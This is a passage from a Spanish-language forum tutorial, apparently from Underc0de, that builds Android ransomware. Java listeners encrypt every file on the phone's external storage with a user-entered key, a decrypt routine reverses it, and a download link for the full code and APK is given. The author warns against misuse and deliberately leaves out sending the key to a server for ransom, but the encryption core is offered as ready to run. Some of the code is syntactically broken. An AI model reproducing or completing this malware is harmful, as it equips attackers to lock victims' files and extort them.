Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: Java
  1.     //PIDE Y COMPRUEBA PERMISOS EN EJECUCION
  2.         if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  3.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  4.             //Referencia botones y demas
  5.             final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  6.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  7.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  8.             Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  9.             BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
  10.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  11.                 public void onClick(View view) {
  12.                     try {
  13.                               //Lista de archivos encontrados en el sistema
  14.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  15.                         for (int i = 0; i < Archivos.size(); i++) {
  16.                              //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
  17.                              // revisamos si esta encriptado, (que en su nombre tenga la palabra “encript_”
  18.                              int comprobacion = Archivos.get(i).getName().indexOf(“encript_”);
  19.                             if (comprobacion != -1) {
  20.                                 desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  21.                             }
  22.                             }
  23.                         }
  24.                               //Excepciones necesarias para la funcion de encriptar
  25.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  26.                         k.printStackTrace();
  27.                     }
  28.                 }
  29.             });
  30.             BotonEncriptar.setOnClickListener(new View.OnClickListener() {
  31.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  32.                 public void onClick(View view) {
  33.                     try {
  34.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  35.                         for (int i = 0; i < Archivos.size(); i++) {
  36.      //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
  37.                             encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  38.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  39.                         k.printStackTrace();
  40.                     }
  41.                 }
  42.             });
  43.         } else {
  44.             PedirPermisos();
  45.         }
  46.     }

Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro Ransomware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: Java
  1. //Referenciamos nuestro objetos en pantalla
  2.  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  3.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  4.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);

y luego la leemos:

Código: Java
  1. String clave = EntradaClave.getText().toString();

esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un Ransomware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:

Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:

Ahora volvere a la aplicacion y le dare en desenciptar:

Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos.

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede ahi guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y ………..
Pero por otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su información.

Cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores.

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
El codigo y la app lista para que la prueben

https://mega.nz/#F!p6JACbII!IB2NEnk01qmL_Fva6-W-WA

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad.

El dolor es temporal, la satisfacción es eterna.